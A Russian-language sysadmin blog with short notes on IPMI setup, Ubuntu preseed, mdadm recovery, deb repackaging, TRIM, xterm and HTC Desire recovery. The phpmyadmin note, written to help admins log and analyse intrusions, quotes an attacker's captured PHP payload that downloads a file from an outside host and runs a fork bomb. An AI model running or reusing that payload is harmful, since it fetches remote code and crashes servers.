ipmi_si: Could not set up I/O space

&nbps; До этого IPMI на протяжении нескольких лет исправно работал без каких-либо дополнительных вмешательств на протяжении CentOS 5.x. С приходом на эти машины ubuntu-12.04 был получен неутешительный ответ в виде:

# dmesg | grep ipmi
[233616.922708] ipmi_si: SMBIOS: mem 0xca2 regsize 1 spacing 4 irq 0
[233616.922710] ipmi_si: Adding SMBIOS-specified kcs state machine
[233616.922714] ipmi_si: Trying SMBIOS-specified kcs state machine at mem address 0xca2, slave address 0x20, irq 0
[233616.922717] ipmi_si: Could not set up I/O space

Проверяем через dmidecode


# dmidecode --type 38
# dmidecode 2.11
SMBIOS 2.5 present.

Handle 0x0043, DMI type 38, 18 bytes
IPMI Device Information
        Interface Type: KCS (Keyboard Control Style)
        Specification Version: 2.0
        I2C Slave Address: 0x10
        NV Storage Device: Not Present
        Base Address: 0x0000000000000CA2 (Memory-mapped)
        Register Spacing: 32-bit Boundaries

Как мы видим, адреса совпадают в обоих случаях. Однако при этом инициализации не происходит. Решением явилось явное задание адреса. Создаем файл

cat <<EOF > /etc/modprobe.d/ipmi.conf 
options ipmi_si type=kcs ports=0xca2
EOF

После этого выполняем

service openipmi restart

Проверяем корректность инициализации

# dmesg | grep ipmi | tail -5
[237809.878533] ipmi_si: Adding hardcoded-specified kcs state machine
[237809.878536] ipmi_si: Trying hardcoded-specified kcs state machine at i/o address 0xca2, slave address 0x0, irq 0
[237810.003893] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x0028c5, prod_id: 0x0004, dev_id: 0x22)
[237810.003901] ipmi_si ipmi_si.0: IPMI kcs interface initialized
[237810.007457] ipmi device interface
# ipmitool sel info
SEL Information
Version          : 1.5 (v1.5, v2 compliant)
Entries          : 0
Free Space       : 8192 bytes 
Percent Used     : 0%
Last Add Time    : Not Available
Last Del Time    : 10/18/2011 07:03:08
Overflow         : false
Supported Cmds   : 'Reserve' 'Get Alloc Info' 
# of Alloc Units : 512
Alloc Unit Size  : 16
# Free Units     : 512
Largest Free Blk : 512
Max Record Size  : 2
#

Ubuntu 12.04 preseed и PXELINUX

Ранее используемая строка инициализации ubuntu 10.04 для автоматической установки по сети с использованием pxelinux.0

  APPEND  initrd=ubuntu/10.04/netboot/ubuntu-installer/amd64/initrd.gz debian-installer/locale=en_US.UTF-8 console-setup/ask_detect=false console-setup/layoutcode=us netcfg/choose_interface=auto netcfg/get_hostname=unassigned-hostname url=http://domain.tld/url

перестала работать с выходом новой 12.04 версии. При загрузке вываливается окно с предложением выбора языка для клавиатуры. Как выяснилось параметр console-setup/layoutcode=us был заменен параметром keyboard-configuration/layoutcode=us. Таким образом итоговый результат

  APPEND  initrd=ubuntu/12.04/netboot/ubuntu-installer/amd64/initrd.gz locale=en_US.UTF-8 keyboard-configuration/layoutcode=us console-setup/ask_detect=false netcfg/choose_interface=auto netcfg/get_hostname=unassigned-hostname url=http://domain.tld/url

mdadm says device is inactive

    Сегодня столкнулся с ситуацией, что программный RAID1 запустился следующим образом:

md0 : inactive sda1[0](S) sdb1[1](S) sdc1[2](S)
      6288192 blocks

    В устройстве md0 было 4-е партиции, т.к. производили замену жесткого диска, одна утеряна. Но проблема в другом: устройство в состоянии inactive — это раз, два — все устройства подключились как spare drive. Партиция принадлежит /boot поэтому следующий трюк выдал желаемый результат:

# mdadm  --stop /dev/md0 
mdadm: stopped /dev/md0
# mdadm --assemble --force /dev/md0
mdadm: /dev/md0 has been started with 3 drives (out of 4).
# cat /proc/mdstat
...

md0 : active raid1 sda1[0] sdc1[2] sdb1[1]
      2096064 blocks [4/3] [UUU_]

    Дело в шляпе. Добавляем свежеиспеченный жесткий диск

# mdadm --add /dev/md0 /dev/sdd1 
mdadm: added /dev/sdd1
# cat /proc/mdstat 
...
md0 : active raid1 sdd1[4] sda1[0] sdc1[2] sdb1[1]
      2096064 blocks [4/3] [UUU_]
      [=======>.............]  recovery = 38.7% (812544/2096064) finish=2.3min speed=8952K/sec
#

Convert 32-bit .DEB-Package to work in 64bit-system

Copy&Paste:

If you need a program like Adobe Air which does not have 64-bit .deb-package available for your Debian-based system here is way to fix package and get it to work in 64bit systems.
1. Download .deb package of program you want to install
2. In terminal window create tmp-directory:

mkdir tmp

3. Extract the deb file to the tmp dir:

dpkg-deb -x PACKAGE_NAME-i386.deb tmp

4. Extract the control files:

dpkg-deb —control PACKAGE_NAME-i386.deb tmp/DEBIAN

5. Change the Architecture parameter from “i386″ to “all”:

sed -i “s/i386/all/” tmp/DEBIAN/control

6. Repackage the deb file:

dpkg -b tmp PACKAGE_NAME_64.deb

7. Now you can install it:

sudo dpkg -i PACKAGE_NAME_64.deb

That’s it! Working like a charm in my Ubuntu 10.10 64bit system.

В моем случае это оказался пакет DraftSight.

Источник

Очеловечиваем ubuntu 11.10

    Мое личное мнение заключается в том, что использовать unity 3D/2D не возможно для эффективной работы. Актуальным стал вопрос возвращения доброго и привычного gnome. В этом отличным подспорьем послужили следующие заметки:
How to revert to GNOME Classic?
How to customize the gnome classic panel

Поддержка TRIM в Linux

Выдержка из Red Hat Enterprise Linux 6 Storage Administration Guide:

20.1. Deployment Considerations

Because of the internal layout and operation of SSDs, it is best to partition devices on an internal erase block boundary. Partitioning utilities in Red Hat Enterprise Linux 6 chooses sane defaults if the SSD exports topology information. This is especially true if the exported topology information includes alignment offsets and optimal I/O sizes.
However, if the device does not export topology information, Red Hat recommends that the first partition be created at a 1MB boundary.
In addition, keep in mind that logical volumes, device-mapper targets, and md targets do not support TRIM. As such, the default Red Hat Enterprise Linux 6 installation will not allow the use of the TRIM command, since this install uses DM-linear targets.
Red Hat also warns that software RAID levels 1, 4, 5, and 6 are not recommended for use on SSDs. During the initialization stage of these RAID levels, some RAID management utilities (such as mdadm) write to all of the blocks on the storage device to ensure that checksums operate properly. This will cause the performance of the SSD to degrade quickly.
At present, ext4 is the only fully-supported file system that supports TRIM. To enable TRIM commands on a device, use the mount option discard. For example, to mount /dev/sda2 to /mnt with TRIM enabled, run:

mount -t ext4 -o discard /dev/sda2 /mnt

By default, ext4 does not issue the TRIM command. This is mostly to avoid problems on devices which may not properly implement the TRIM command. The Linux swap code will issue TRIM commands to TRIM-enabled devices, and there is no option to control this behaviour.

Источник

xterm: friendly copy-and-paste

    Превосходное решение извечного неудобства использования xterm, а именно копирования/вставки из него в другие приложения. Неудобство связано с тем, что xterm при копировании использует legacy PRIMARY selection buffer, вставка из которого происходит по нажатию средней кнопки мыши.

Элегантность решения заключается в добавлении нижеследующей строчки в файл ~/.Xresources

XTerm*VT100.translations: #override <Btn1Up>: select-end(PRIMARY, CLIPBOARD, CUT_BUFFER0)

Чтобы не перезапускать текущую X11 сессию достаточно выполнить команду

xrdb -merge .Xresources

phpmyadmin: i’m lovin’ it

    Изначально планировалось написать развернутую заметку о вреде использования устаревшего программного обеспечения и в особенности phpmyadmin. Однако по прошествии нескольких дней по ключевым словам была найдена аналогичная статья, которая рекомендована к прочтению.

    Остановимся на отличительных особенностях. Автор использовал модифицированный скрипт php, чтобы перехватить данные POST-запроса, т.к. по умолчанию они не записываются ни в какой журнал. Однако в этом нет необходимости. В особенности, если на сервере размещается несколько проектов и каждый использует свою копию phpmyadmin или какого-либо другого уязвимого программного обеспечения, модификация каждого из них дело неблагодарное. Достаточно воспользоваться штатным модулем mod_dumpio сервера apache. Для его активации необходимо добавить директивы

LoadModule dumpio_module modules/mod_dumpio.so
DumpIOInput On
LogLevel debug

    При этом необходимо убедиться, что директива LogLevel не переопределяется в нижележащих директивах, например, в директиве VirtualHost предположительно уязвимого домена. В этом случае все данные всех POST-запросов будут записываться в соответствующие журналы ErrorLog.

    Немаловажный момент всей процедуры актуальность Вашей операционной системы и системных сервисов. Т.к. после автоматического проникновения бота вырисовывается человек и начинает перебирать различные эксплоиты с целью заполучить полный контроль над системой. Окончательно отчаявшиеся в безуспешности своих попыток, пытаются просто навредить. В частности среди возможных скриптов на выполнение проскакивают типичные fork() бомбы:

<? system("cd /tmp/ ; wget -q http://tevad.do.am/j.txt ; curl -O http://tevad.do.am/j.txt ; fetch http://tevad.do.am/j.txt ; perl -e 'fork while fork;' ; rm -rf j*");exit?>

    Т.к. с течением времени использованные при взломе ссылки становятся не доступными, позволим себе под капотом разместить в base64 формате полученные в результате анализа исходные тексты вышеописанных в статье ботов. Continue reading

HTC Desire Recovery (HTC Desire doesn’t boot, white screen)

  Все началось с того, что 3-и месяца назад на телефон было установлено приложение Sleep As Android. Приложение рекомендует на ночь оставлять его подключенным к силовой сети, т.к. дисплей во время его работы просто затемняется, а не выключается (при выключении дисплея выключается акселерометр жизненно необходимый вышеуказанному приложению). Соответственно аппарат был размещен на кровати и во время сна умудрился естественным образом залезть под одеяло. На утро он был просто огненным на белом фоне светилась надпись HTC и все. Первая мысль — приплыли. Аппарат отказывался загружаться или перезагружаться. Т.к. гарантия закончилась буквально за пару недель до поломки, понес в ближайщий сервис. Практически попрощавшись с аппаратом, т.к. бухать даже 1/3 от его стоимости в ремонт смысла не видел. Однако в сервисе мне сказали, что поломка очень похожа на сбой программного обеспечения и что можно завтра приходить и забирать аппарат. Стоимость работы 1000 р. С трудом себе представив как перегрев аппарата может быть связан с программным обеспечением, ушел во свояси. На следующий день аппарат был полностью рабочим.

  Вчера история повторилась с той разнице, что телефон находился на зарядке в машине, которая стояла на солнце. Было принято решение или самому разобраться в проблеме или забить на аппарат и взять другой. Вечером очень не хотелось этим заниматься однако вырвалась минутка и начал поиск. И что выяснилось, что это болячка встречается не только у моего аппарата. Например, у этого парня http://www.youtube.com/watch?v=_dmQPgydqVM в точности идентичная ситуация. Все описания по восстановлению как правило подразумевают доступность операционной системы или как минимум возможность включения USB debugging в настройках телефона. Оба варианта отпадают. Четкого описания восстановления для своего аппарата не удалось найти. Аналогичное поведение аппаратов участниками форума характеризовалось как PVT1 faulty motherboard (сбой защиты от перегрева материнской платы). Большинство решений предполагало отправку телефона в сервис. Однако компиляция нескольких решений и наблюдение за поведением аппарата при загрузке, а именно во время входа в загрузчик HBOOT он пытался найти образ PB99IMG.zip, PB99DIAG.zip, PB99IMG.nbh. Этот экран проскакивает буквально на пару секунд, поэтому было решено сделать фотографию (получилась не очень качественной, однако суть она полностью отражает), а также успешная предыдущая перепрошивка аппарата сервисным центром, привели к решению вышеобозначенной проблемы.

  Итого:

  • качаем образ RUU_Bravo_Froyo_HTC_WWE_2.29.405.5_Radio_32.49.00.5.11.05.27_release_159811_signed.exe с http://forum.xda-developers.com/showthread.php?t=869048
  • запускаем под wine командой wine RUU_Bravo_Froyo_HTC_WWE_2.29.405.5_Radio_32.49.00.32U_5.11.05.27_release_159811_signed.exe
  • в момент запуска пытаемся поймать в директории ~/.wine появление файла rom.zip. Т.к. установщик завершается некорректно в момент завершения он ощищает временные файлы, удаляя тем самым и rom.zip. Я поймал файл 2-3 запусками команды find ~/.wine -iname ‘rom.zip’ | xargs -I % cp % ~/. Тем самым в домашней директории имеем на выходе файл rom.zip
  • подключаем к компьютеру SD-карту из телефона и копируем на нее в корневую директорию файл rom.zip под именем PB99IMG.zip (в большинстве руководств, которыми я оперировал фигурировал файл PB88IMG.zip, что уводило в сторону от решения)
  • извлекаем аккумулятор из телефона (он должен быть заряжен минимум на 30%!)
  • устанавливаем SD-карту в телефон
  • устанавливаем аккумулятор, зажимаем (и держим) клавишу Volume Down (уменьшение громкости) и одновременно нажимаем клавишу Power (включение аппарата). Тем самым мы попадаем в HBOOT (системный загрузчик), который автоматически считает файл PB99IMG.zip и предложит перепрошить им телефон
  • далее следуем указаниям, которые поступают от телефона.

На выходе получаем рабочий аппарат со сброшеными заводскими настройками.